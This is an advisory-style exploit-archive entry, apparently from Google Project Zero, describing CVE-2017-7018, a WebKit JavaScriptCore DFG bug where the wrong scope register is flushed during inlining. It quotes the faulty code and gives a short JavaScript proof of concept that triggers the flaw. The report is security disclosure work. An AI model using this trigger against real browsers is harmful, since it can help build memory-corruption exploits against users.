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WebKit JSC Incorrect Scope Register Handling

WebKit JSC Incorrect Scope Register Handling
Posted Jul 25, 2017
Authored by Google Security Research, lokihardt

WebKit suffers from a JSC incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

tags | exploit
advisories | CVE-2017-7018
MD5 | 8ee249918143ed15fd4a0095efcb75b7

WebKit JSC Incorrect Scope Register Handling

Change Mirror Download
 WebKit: JSC: Incorrect scope register handling in DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry) 

CVE-2017-7018


Here's a snippet of DFG::ByteCodeParser::flush(InlineStackEntry* inlineStackEntry).

void flush(InlineStackEntry* inlineStackEntry)
{
...
if (m_graph.needsScopeRegister())
flush(m_codeBlock->scopeRegister()); <<--- (a)
}

At (a), it should flush the scope register of |inlineStackEntry->m_codeBlock| instead of |m_codeBlock|. But it doesn't. As a result, the scope register of |inlineStackEntry->m_codeBlock| may have an incorrect offset in the stack layout phase.

PoC:
function f() {
(function () {
eval('1');
f();
}());

throw 1;
}

f();



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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